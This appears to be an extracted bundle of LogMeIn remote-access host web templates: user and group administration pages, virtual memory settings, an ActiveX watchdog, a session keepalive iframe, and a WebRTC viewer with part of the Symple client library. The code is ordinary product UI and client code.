<td align="right" valign="top">&ADMIN.USERMANAGER.USER.COMMENT&:</td>
<td><textarea name=comment rows=3 cols=40>&{XML}COMMENT&</textarea></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.MUSTCHANGEPWD&</td>
<td><input type=checkbox name=mustchangepwd value=1 =MUSTCHANGEPWD=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CANTCHANGEPWD&</td>
<td><input type=checkbox name=cantchangepwd value=1 =CANTCHANGEPWD=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.PWDNOTEXPIRES&</td>
<td><input type=checkbox name=pwdnotexpires value=1 =PWDNOTEXPIRES=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.DISABLED&</td>
<td><input type=checkbox name=disabled value=1 =DISABLED=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOCKEDOUT&</td>
<td><input type=checkbox name=lockedout value=1 =LOCKEDOUT=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.HOMEDIR&:</td>
<td><input type="text" name=homedir value="&HOMEDIR&"><?usemacro BrowseButton("document.forms[0].homedir.value")?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.HOMEDRIVE&:</td>
<td><input type="text" name=homedrive value="&HOMEDRIVE&"></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOGONSCRIPT&:</td>
<td><input type="text" name=logonscript value="&LOGONSCRIPT&"></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.PROFILE&:</td>
<td><input type="text" name=profile value="&PROFILE&"><?usemacro BrowseButton("document.forms[0].profile.value")?></td>
</tr>

<?if OP="edit"?>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LASTLOGON&:</td>
<td><?&LASTLOGON _dtml?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LASTLOGOFF&:</td>
<td><?if LASTLOGOFF?><?&LASTLOGOFF _dtml?><?else?>&MSG.UNKNOWN&<?endif?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.ACCEXPIRE&:</td>
<td><?if ACCEXPIRE?><?&ACCEXPIRE _dtml?><?else?>&NEVER&<?endif?></td>
</tr>
<tr>
<td align="right" valign="top">&ADMIN.USERMANAGER.USER.PWDCHANGED&:</td>
<td><?&PWDCHANGED _dtml?><br>(<?&PWDCHANGED _ago?>)</td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.BADPWDCOUNT&:</td>
<td>&BADPWDCOUNT&</td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOGONCOUNT&:</td>
<td>&LOGONCOUNT&</td>
</tr>
<?endif // OP="edit" ?>

</table>
<br>

<?if OP="new"?>
<input type=submit value="&DIALOG.ADD&" onclick="this.form.OP.value='add'; return checkParams(this.form);">
<?else // OP="edit"?>
<?if ACCESS.W?>
<input type=submit value="&DIALOG.APPLY&" onclick="this.form.OP.value='update'">
<input type=button value="&ADMIN.USERMANAGER.BTNPWD&" onclick="location.replace('usereditchangepwd.html?name=%NAME%')">
<input type=button value="&ADMIN.USERMANAGER.BTNRENAME&" onclick="location.replace('usereditrename.html?name=%NAME%')">
<?endif?>

<?if ACCESS.D?>
<input type=submit value="&DIALOG.DELETE&" onclick="this.form.OP.value='delete'; return confirm('$ADMIN.USERMANAGER.CONFIRMDELUSER$');">
<?endif?>
<?endif // OP="new" | "edit" ?>

<?if OP="edit"?>		
<input type=button value="&ADMIN.USERMANAGER.USER.BTNGROUPS&" onclick="location.replace('usereditgroups.html?name=%NAME%')">
<?if ISNTSRVRAS?><input type=button value="&ADMIN.USERMANAGER.USER.BTNDIALIN&" onclick="location.replace('usereditdialin.html?name=%NAME%')"><?endif?>
<?endif?>

<input type=button value="&DIALOG.BACK&" onclick="location.replace('/userlist.html?$RND$')">

</form>
</center>
</div>
</body>
</html>
ȓlY,usereditchangepwd.htmlR<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
</head>

<body onload="document.forms.changepwd.pwd.focus()">
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<script language="JavaScript"><!--
function checkParams(f) {
if (f.pwd.value != f.pwdconfirm.value) {
alert("$MSG.DIALOG.PWDMISMATCH$");
f.pwd.focus();
return false;
}

return true;
}
//--></script>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
&ADMIN.USERMANAGER.CHANGEPWD&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?>
</span></div>
<center>

<form name=changepwd action="useredit.html" method=post>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=OP value=changepwd>

<table>
<tr>
<td align="right">&MSG.DIALOG.PWDENTRY&:</td>
<td><input type=password name=pwd></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type=password name=pwdconfirm></td>
</tr>
</table>
<br>
<table>		
<tr>
<td><input type=submit value="&MSG.DIALOG.APPLY&" onclick="return checkParams(this.form);"></td>
<td><input type=button value="&MSG.DIALOG.BACK&" onclick="location.replace('/useredit.html?OP=edit&name=%REQ.NAME%')"></td>
</tr>
</table>
</form>

</center>
</div>
</body>
</html>
|z&usereditdialin.html֭<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "usereditdialin"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?usemacro WINERRDLG()?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&ADMIN.USERMANAGER.USER.EDITDIALIN&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?></span></div>
<center>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=OP value=update>

<table>
<tr>
<td colspan="2" align="center">&ADMIN.USERMANAGER.USER.ALLOWDIALIN&:<input type=checkbox name=dialingrant value=1 =DIALINGRANT=></td>
</tr>

<tr><td colspan="2">
<fieldset><legend>&ADMIN.USERMANAGER.USER.CALLBACK&</legend>
<table>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CALLBACKNO&</td>
<td><input type=radio name=callback value=0 =CALLBACK0=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CALLBACKBYCALLER&</td>
<td><input type=radio name=callback value=1 =CALLBACK1=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CALLBACKPRESET&</td>
<td><input type=radio name=callback value=2 =CALLBACK2=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CALLBACKNUMBERPRESET&:</td>
<td><input type=text name=preset value="&PRESET&" maxlength=128></td>
</table>
</fieldset>
</td></tr>
</table>
<br>
<table>
<tr>
<?if ACCESS.W?><td><input type=submit value="&DIALOG.APPLY&"></td><?endif?>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/useredit.html?OP=edit&name=$NAME$')"></td>
</tr>
</table>
</form>

</center>
</div>
</body>
</html>
kiy&usereditgroups.html<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "usereditgroups"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
&ADMIN.USERMANAGER.USER.EDITGROUPS&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?>
</span></div>
<center>

<?usemacro WINERRDLG()?>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=OP value=update>

<table>
<tr>
<td>&ADMIN.USERMANAGER.USER.MEMBER&:</td>
<td>&ADMIN.USERMANAGER.USER.NONMEMBER&:</td>
</tr>

<tr>
<td>
<select name=DEL size=10 multiple>
<option value="">--------------------------------------</option>
<?if MEMBERL?><?enum MEMBERL?>
<option value="l&GROUP.NAME&">(&ADMIN.USERMANAGER.LGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>

<?if MEMBERG?><?enum MEMBERG?>
<option value="g&GROUP.NAME&">(&ADMIN.USERMANAGER.GGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>
<option value="">--------------------------------------</option>
</select>
</td>
<td>
<select name=ADD size=10 multiple>
<option value="">--------------------------------------</option>
<?if NONMEMBERL?><?enum NONMEMBERL?>
<option value="l&GROUP.NAME&">(&ADMIN.USERMANAGER.LGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>

<?if NONMEMBERG?><?enum NONMEMBERG?>
<option value="g&GROUP.NAME&">(&ADMIN.USERMANAGER.GGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>
<option value="">--------------------------------------</option>
</select>
</td>
</tr>
</table>
<br>
<table>
<tr>
<?if ACCESS.W?><td><input type=submit value="&DIALOG.ADD&/&DIALOG.REMOVE&"></td><?endif?>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/useredit.html?OP=edit&name=%NAME%')"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
1"&usereditrename.htmlMu<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>
<body onload="document.forms.rename.newname.select()">

<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
&ADMIN.USERMANAGER.USER.RENAME&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?>
</span></div>
<center>

<form name=rename action="useredit.html" method=get>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=OP value=rename>

<table>
<tr>
<td>&ADMIN.USERMANAGER.NEWNAME&:</td>
<td><input type=text name=newname value="$REQ.NAME$" maxlength=20></td>
</tr>
</table>
<br>
<table>
<tr>
<td><input type=submit value="&DIALOG.APPLY&"></td>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/useredit.html?OP=edit&name=%REQ.NAME%')"></td>
</tr>
</table>
</form>

</center>
</div>
</body>
</html>
Puserlist.htmlO}h<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tabs.inc"?>
<?include "tooltip.inc"?>
</head>

<body>

<?
usemacro LINECOUNT()
action "userlist"
usemacro WINERRDLG()

if MSG
&ADMIN.USERMANAGER:MSG&
endif
?>

<div class="tabwindow">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&ADMIN.USERMANAGER.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.USERMANAGER.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<?usemacro PAGEBAR("")?>
</div>

<div class="tab-pane" id="tabPane1">
<script type="text/javascript">
var tp1 = new RATabPane( document.getElementById( "tabPane1" ) );
</script>

<!-- USER LIST -->
<div class="tab-page" id="tabPage1">
<h2 class="tab">&ADMIN.USERMANAGER.USERS&</h2>
<script type="text/javascript">tp1.addTabPage( document.getElementById( "tabPage1" ) );</script>

<?if REQ.what!="groups"?>
<table class="inner" width="80%" align=center>
<tr>
<th width=16px>&nbsp;</th>
<th>&ADMIN.USERMANAGER.USER.NAME&</th>
<th>&ADMIN.USERMANAGER.USER.COMMENT&</th>
</tr>

<?enum USERS?>
<tr>
<td>&nbsp;
<?if USER.DISABLED="1"?>
<img src="img/ico_user_disabled.png?bg=%COLOR.DlgBack%" width="16" height="16">
<?else?>
<img src="img/ico_user.png?bg=%COLOR.DlgBack%" width="16" height="16">
<?endif?>&nbsp;
</td>

<td><a href="useredit.html?op=edit&name=%USER.NAME%"<?if USER.FULLNAME and CFG.TOOLTIPS > 0 ?> onmouseover="showTip(event,'$ADMIN.USERMANAGER.USER.FULLNAME$: $USER.FULLNAME$',false,'A')"<?endif?>>&USER.NAME&</a>&nbsp;</td>
<td>&USER.COMMENT&</td>
</tr>
<?next?>
</table>
<br>
<?if ACCESS.W?>
<table width="100%"><tr><td align=center><input type=button value="&ADMIN.USERMANAGER.USER.ADD&" onclick="location.replace('useredit.html?op=new')"></td></tr></table>
<?endif?>
<?endif?>
</div>

<?if REQ.what != "users"?>
<!-- GROUP LIST -->
<div class="tab-page" id="tabPage2">
<h2 class="tab">&ADMIN.USERMANAGER.GROUPS&</h2>
<script type="text/javascript">tp1.addTabPage( document.getElementById( "tabPage2" ) );</script>

<table class="inner" width="80%" align=center>
<?if GROUPS?>
<tr>
<th>&nbsp;</th>
<th>&ADMIN.USERMANAGER.LGROUPNAME&</th>
<th colspan=2>&ADMIN.USERMANAGER.GROUP.COMMENT&</th>
</tr>

<?enum GROUPS?>
<tr>
<td class="ico16"><img src="img/ico_group.png?bg=%COLOR.DlgBack%" width="16" height="16"></td>
<td><a href="groupedit.html?type=LOCAL&name=%GROUP.NAME%">&GROUP.NAME&</a></td>
<td colspan=2>&GROUP.COMMENT&</td>
</tr>
<?next?>
<?endif // GROUPS?>

<?if GGROUPS?>
<!-- Global GROUP LIST -->
<tr>
<th width=16px>&nbsp;</th>
<th>&ADMIN.USERMANAGER.GGROUPNAME&</th>
<th colspan=2>&ADMIN.USERMANAGER.GROUP.COMMENT&</th>
</tr>

<?enum GGROUPS?>
<tr>
<td><img src="img/ico_group.png?bg=%COLOR.DlgBack%" width="16" height="16"></td>
<td><a href="groupedit.html?type=GLOBAL&name=%GGROUP.NAME%">&GGROUP.NAME&</a></td>
<td colspan=2>&GGROUP.COMMENT&</td>
</tr>
<?next?>
<?endif // GGROUPS?>
</table>
<br>
<?if ACCESS.W?>
<center><br>
<?if ISDC?>
<input type=button value="&ADMIN.USERMANAGER.GROUP.BTNADD.GLOBAL&" onclick="location.replace('groupadd.html?type=global')" ID="Button5" NAME="Button3">
<?else?>
<input type=button value="&ADMIN.USERMANAGER.GROUP.BTNADD.LOCAL&" onclick="location.replace('groupadd.html?type=local')" ID="Button2" NAME="Button2">
<?endif?>
</center>
<?endif?>
</div>
<?endif?>

<!-- select tab-->
<?if REQ.TAB?>
<script language="JavaScript">
tp1.setSelectedIndex(&REQ.TAB&);
</script>
<?endif?>

</div>
</div>
</body>
</html>
tvmem.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
if REQ.SUBMIT
// update virtual memory settings
action "vmemset"
if WINERRNUM="1455"
set WINERRMSG=ADMIN.VMEM.TOOLOW
endif
usemacro WINERRDLG()
endif
// request virtual memory info
action "vmeminfo"
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.VMEM.TITLE?></span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.VMEM.TITLE%&favicon=menu_admin.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<br>
<center>
<form action="&TEMPLATE&" method="post">
<fieldset>
<br>
<table cellspacing="0" cellpadding="2" class="inner">
<tr>
<th><?&MSG.ADMIN.DRIVE.DRIVE?></th>
<th><?&MSG.MIN?></th>
<th><?&MSG.MAX?></th>
<th><?&MSG.CURRENT?></th>
<th><?&MSG.AVAILABLE?></th>
</tr>
<?enum SWAPDRIVES?>
<tr>
<td align="center"><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%SWAP.DRIVE%&size=32" width="32" height="32" title="&SWAP.FILE&" style="vertical-align:middle"><?endif?><?&SWAP.DRIVE?></td>
<td class="num"><input type="text" name="min&SWAP.DRIVE&" size="4" value="&SWAP.FILE.MIN&"> <?&MSG.MEGABYTE?></td>
<td class="num"><input type="text" name="max&SWAP.DRIVE&" size="4" value="&SWAP.FILE.MAX&"> <?&MSG.MEGABYTE?></td>
<td class="num"><?&SWAP.FILE.SIZE _szm?></td>
<td class="num"><?&SWAP.DRIVE.FREE _szm?></td>
</tr>
<?next?>
<tr>
<td align="center">Σ</td>
<td class="num"><?&SWAP.MIN _szx?></td>
<td class="num"><?&SWAP.MAX _szx?></td>
<td class="num"><?&SWAP.SIZE _szx?></td>
<td class="num">&nbsp;</td>
</tr>
</table>

<br>
<?&ADMIN.VMEM.MIN?>: <?&SWAP.LOW _szm?><br>
<?&ADMIN.VMEM.RECOMMEND?>: <?&SWAP.RECD _szm?><br>

<?if REQ.SUBMIT?>
<?&CONFIG.NEEDREBOOT?><br>
<?endif?>
<br></fieldset>
<br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&" <?disabled ACTIONS hasnt "vmemset"?>>
</form>
</center>
</div>
</body>
</html>
S"watchdog.html+ݮ<?ratmpl?>
<?include "activex.inc"?>
<?
// set the default control type
if not REQ.TYPE
if not ACTIONS has "-activex-"
// activex is not enabled in this build
set REQ.TYPE = "html"
elseif not HTTP.USERAGENT.IE and not HTTP.USERAGENT.RACONSOLE
// activex only works in internet explorer
set REQ.TYPE = "html"
else
set REQ.TYPE = "activex"
endif
endif
?>
<?action "appletssl"?>

<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9", "1", "1", "rapvobj2")?>
<param name="sessionid" value="&RASID&">
<param name="ForceTunnel" value="&FORCETUNNEL&">
<param name="bgcolor"   value="&BG&">
<param name="watchdog"  value="1">
<?if ISVIACONSOLE?>
<param name="exiturl-s" value="/remctrldisconnect.html?reason=shutdown">
<param name="exiturl-t" value="/remctrldisconnect.html?reason=timedout">
<?else?>
<param name="exiturl-s" value="/default.html?logout=yes&reason=shutdown">
<param name="exiturl-t" value="/default.html?logout=yes&reason=timedout">
<?endif?>
<param name="HTTP.HOST" value="&HTTP.HOST&">
<param name="HTTP.PORT" value="&HTTP.PORT&">
<param name="Lang"		value="&LANG&">
<param name="Brand"		value="&PRODUCTABBR&">
<param name="HostOS"    value="&LMIOSTYPE&">
<param name="PRODUCTNAME" value="&PRODUCTNAME&">
<!-- SSL parameters -->
<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>">
<?if CACERT?><param name="CACERT" value="&CACERT&"><?endif?>
<?if RACERT?><param name="RACERT" value="&RACERT&"><?endif?>
<?if RAWSSL?><param name="RAWSSL" value="&RAWSSL&"><?endif?>

<?usemacro OBJECTCLOSE()?>
tPi*watchdog_wrapper.html.m.<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?if not REQ.TYPE
set REQ.TYPE = "activex"
endif?>
<?include "chkobject.inc"?>
</head>
<body onload="chkObject('rapvobj2', false);">
<?set BG="#4A589F"?><?include "watchdog.html"?>
</body>
</html>webinfo.htmlR<?ratmpl?>

<?if BRAND.LOGMEIN?>
<!--<?if UI = "secrem"?><?set BG="white"?><?else?><?set BG=COLOR.DlgBack?><?endif?>-->
<?set BG=COLOR.DlgBack?>
<table class="inner" width="95%">
<tr><th colspan="2">&MSG.WEBSVC.INFO.TITLE&</th></tr>
<tr>
<?if WEBSVC.GATEWAY?>
<td><img src="/img/ico_evt_check.png?bg=%BG%" alt="&MSG.WEBSVC.INFO.ONLINE&" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.ONLINE.DESC&</td>
<?else?>
<td><img src="/img/ico_evt_stop.png?bg=%BG%" alt="&MSG.WEBSVC.INFO.OFFLINE&" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.OFFLINE.DESC&
<?if WEBSVC.ERROR?><b>&MSG.DIALOG.ERROR&:</b>&nbsp;&MSG.ERROR.WEBSVC:WEBSVC.ERROR&<?endif?></td>
<?endif?>
</tr>
<?if ""?>
<?if WEBSVC.SESSION.BWLIMIT?>
<tr>
<?if WEBSVC.SESSION.BWLEFT <= 1048576?>
<td><img src="/img/ico_evt_warn.png?bg=%BG%" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.SESSIONBW.LOW&</td>
<?else?>
<td><img src="/img/ico_evt_info.png?bg=%BG%" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.SESSIONBW&</td>
<?endif?>
</tr>
<?endif?>
<?if WEBSVC.FILEXFER.BWLIMIT?>
<tr>
<?if WEBSVC.FILEXFER.BWLEFT <= 5242880?>
<td><img src="/img/ico_evt_warn.png?bg=%BG%" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.FILEXFERBW.LOW&</td>
<?else?>
<td><img src="/img/ico_evt_info.png?bg=%BG%" align="absmiddle" width=16 height=16></td>
<td>&MSG.WEBSVC.INFO.FILEXFERBW&</td>
<?endif?>
</tr>
<?endif?>
<?endif?>
</table><br>
<?endif?>
<vE"webkeepalive.htmlǯ<?ratmpl?>
<?nocache?>
<?if BRAND.LOGMEIN // This is needed to keep the website session alive ?>
<iframe src="https://$PRODUCTWEBSITE$/session-keepalive.aspx" style="display: none"></iframe>
<?endif // BRAND.LOGMEIN ?>
M,webrtc\assets\main.cssbody > .container {
	padding-top: 30px;
}

#webrtc-video .video-player {
    margin-bottom: 1rem;
}

#webrtc-video .symple-player {
    min-height: 480px;
}
*webrtc\assets\main.js	Dd$(document).ready(function() {
var client, player, remotePeer;

//
// Initialize the Symple WebRTC player

player = new Symple.Player({
element: '#webrtc-video .video-player',
engine: 'WebRTC',
rtcConfig: WEBRTC_CONFIG,
iceMediaConstraints: {
'mandatory': {
'OfferToReceiveAudio': true,
'OfferToReceiveVideo': true
}
},
onStateChange: function(player, state) {
player.displayStatus(state);
}
});

//
// Initialize the Symple client

client = new Symple.Client(CLIENT_OPTIONS);

client.on('announce', function(peer) {
console.log('Authentication success:', peer);
});

client.on('presence', function(p) {
console.log('Recv presence:', p)
});

client.on('message', function(m) {
// console.log('Recv message:', m)
if (remotePeer && remotePeer.id != m.from.id) {
console.log('Dropping message from unknown peer', m);
return;
}

if (m.offer) {
try {
console.log('Reieve offer:', JSON.stringify(m.offer))

remotePeer = m.from;
// player.setup();
player.play();
player.engine.recvRemoteSDP(m.offer);
player.engine.sendLocalSDP = function(desc) {
console.log('Send answer:', JSON.stringify(desc))
client.send({
to: remotePeer,
type: 'message',
answer: desc
});
}

player.engine.sendLocalCandidate = function(cand) {
client.send({
to: remotePeer,
type: 'message',
candidate: cand
});
}
}
catch (e) {
console.log("Failed to create PeerConnection:", e);
}
}

else if (m.answer) {
alert('Unexpected answer for one-way streaming');
}

else if (m.candidate) {
// Filter non relay candidates for testing TURN
// if (m.candidate.candidate.indexOf('typ relay') == -1) { //typ host
//    console.log("Dropping Candidate:", m.candidate);
//    return;
// }

// console.log("Using Candidate:", m.candidate);
player.engine.recvRemoteCandidate(m.candidate);
}
});

// client.on('command', function(c) {
//    console.log('Recv command:', c)
// });

// client.on('event', function(e) {
//    console.log('Recv event:', e)
// });

client.on('disconnect', function() {
console.log('Disconnected from server')
});

client.on('error', function(error, message) {
console.log('Peer error:', error, message)
});

client.on('addPeer', function(peer) {
// console.log('Adding peer:', peer)
});

client.on('removePeer', function(peer) {
console.log('Removing peer:', peer)
if (remotePeer && remotePeer.id == peer.id) {
remotePeer = null;
}
});

client.connect();
});
3<webrtc\assets\symple.client.js3:// -----------------------------------------------------------------------------
// Symple Client
//
Symple.Client = Symple.Dispatcher.extend({
init: function(options) {
this.options = Symple.extend({ //$.extend
url:     options.url ? options.url : 'http://localhost:4000',
secure:  options.url && (
options.url.indexOf('https') == 0 ||
options.url.indexOf('wss') == 0) ? true : false,
token:   undefined     // pre-arranged server session token
//timeout: 0           // set for connection timeout
}, options);
this._super();
this.peer = options.peer || {};
this.peer.rooms = options.peer.rooms || [];
this.roster = new Symple.Roster(this);
this.socket = null;
},

// Connects and authenticates on the server.
// If the server is down the 'error' event will fire.
connect: function() {
Symple.log('symple:client: connecting', this.options);
self = this;
if (this.socket)
throw 'The client socket is not null'
this.socket = io.connect(this.options.url, this.options);
this.socket.on('connect', function() {
Symple.log('symple:client: connected');
self.socket.emit('announce', {
token:  self.options.token || '',
user:   self.peer.user     || '',
name:   self.peer.name     || '',
type:   self.peer.type     || ''
}, function(res) {
Symple.log('symple:client: announced', res);
if (res.status != 200) {
self.setError('auth', res);
return;
}
self.peer = Symple.extend(self.peer, res.data); // $.extend
self.roster.add(res.data);
self.sendPresence({ probe: true });
self.dispatch('announce', res);
self.socket.on('message', function(m) {
// Symple.log('symple:client: receive', m);
if (typeof(m) == 'object') {
switch(m.type) {
case 'message':
m = new Symple.Message(m);
break;
case 'command':
m = new Symple.Command(m);
break;
case 'event':
m = new Symple.Event(m);
break;
case 'presence':
m = new Symple.Presence(m);
if (m.data.online)
self.roster.update(m.data);
else
self.roster.remove(m.data.id);
if (m.probe)
self.sendPresence(new Symple.Presence({
to: Symple.parseAddress(m.from).id
}));
break;
default:
o = m;
o.type = o.type || 'message';
break;
}

if (typeof(m.from) != 'string') {
Symple.log('symple:client: invalid sender address', m);
return;
}

// Replace the from attribute with the full peer object.
// This will only work for peer messages, not server messages.
var rpeer = self.roster.get(m.from);
if (rpeer)
m.from = rpeer;
else
Symple.log('symple:client: got message from unknown peer', m);

// Dispatch to the application
self.dispatch(m.type, m);
}
});
});
});
this.socket.on('error', function() {
// This is triggered when any transport fails,
// so not necessarily fatal.
self.dispatch('connect');
});
this.socket.on('connecting', function() {
Symple.log('symple:client: connecting');
self.dispatch('connecting');
});
this.socket.on('reconnecting', function() {
Symple.log('symple:client: reconnecting');
self.dispatch('reconnecting');
});
this.socket.on('connect_failed', function() {
// Called when all transports fail
Symple.log('symple:client: connect failed');
self.dispatch('connect_failed');
self.setError('connect');
});
this.socket.on('disconnect', function() {
Symple.log('symple:client: disconnect');
self.peer.online = false;
self.dispatch('disconnect');
});
},

// Disconnect from the server
disconnect: function() {
if (this.socket)
this.socket.disconnect();
},

// Return the online status
online: function() {
return this.peer.online;
},

// Join a room
join: function(room) {
this.socket.emit('join', room);
},

// Leave a room
leave: function(room) {
this.socket.emit('leave', room);
},

// Send a message to the given peer
send: function(m, to) {
// Symple.log('symple:client: before send', m, to);
if (!this.online())
throw 'Cannot send messages while offline'; // add to pending queue?
if (typeof(m) != 'object')
throw 'Message must be an object';
if (typeof(m.type) != 'string')
m.type = 'message';
if (!m.id)
m.id = Symple.randomString(8);
if (to)
m.to = to;
if (m.to && typeof(m.to) == 'object')
m.to = Symple.buildAddress(m.to);
if (m.to && typeof(m.to) != 'string')
throw 'Message `to` attribute must be an address string';
m.from = Symple.buildAddress(this.peer);
if (m.from == m.to)
throw 'Message sender cannot match the recipient';

Symple.log('symple:client: sending', m);
this.socket.json.send(m);
},

respond: function(m) {
this.send(m, m.from);
},

sendMessage: function(m, to) {
this.send(m, to);
},

sendPresence: function(p) {
p = p || {};
if (p.data)
p.data = Symple.merge(this.peer, p.data);
else
p.data = this.peer;
this.send(new Symple.Presence(p));
},

sendCommand: function(c, to, fn, once) {
var self = this;
c = new Symple.Command(c, to);
this.send(c);
if (fn) {
this.onResponse('command', {
id: c.id
}, fn, function(res) {
if (once || (
// 202 (Accepted) and 406 (Not acceptable) response codes
// signal that the command has not yet completed.
res.status != 202 &&
res.status != 406)) {
self.clear('command', fn);
}
});
}
},

// Adds a capability for our current peer
addCapability: function(name, value) {
var peer = this.peer;
if (peer) {
if (typeof value == 'undefined')
value = true
if (typeof peer.capabilities == 'undefined')
peer.capabilities = {}
peer.capabilities[name] = value;
// var idx = peer.capabilities.indexOf(name);
// if (idx == -1) {
//    peer.capabilities.push(name);
//    this.sendPresence();
// }
}
},

// Removes a capability from our current peer
removeCapability: function(name) {
var peer = this.peer;
if (peer && typeof peer.capabilities != 'undefined' &&
typeof peer.capabilities[name] != 'undefined') {
delete peer.capabilities[key];
this.sendPresence();
// var idx = peer.capabilities.indexOf(name)
// if (idx != -1) {
//    peer.capabilities.pop(name);
//    this.sendPresence();
// }
}
},

// Checks if a peer has a specific capbility and returns a boolean
hasCapability: function(id, name) {
var peer = this.roster.get(id)
if (peer) {
if (typeof peer.capabilities != 'undefined' &&
typeof peer.capabilities[name] != 'undefined')
return peer.capabilities[name] !== false;
if (typeof peer.data != 'undefined' &&
typeof peer.data.capabilities != 'undefined' &&
typeof peer.data.capabilities[name] != 'undefined')
return peer.data.capabilities[name] !== false;
}
return false;
},

// Checks if a peer has a specific capbility and returns the value
getCapability: function(id, name) {
var peer = this.roster.get(id)
if (peer) {
if (typeof peer.capabilities != 'undefined' &&
typeof peer.capabilities[name] != 'undefined')
return peer.capabilities[name];
if (typeof peer.data != 'undefined' &&
typeof peer.data.capabilities != 'undefined' &&
typeof peer.data.capabilities[name] != 'undefined')
return peer.data.capabilities[name];
}
return undefined;
},

// Sets the client to an error state and disconnect
setError: function(error, message) {
Symple.log('symple:client: fatal error', error, message);
// if (this.error == error)
//    return;
// this.error = error;
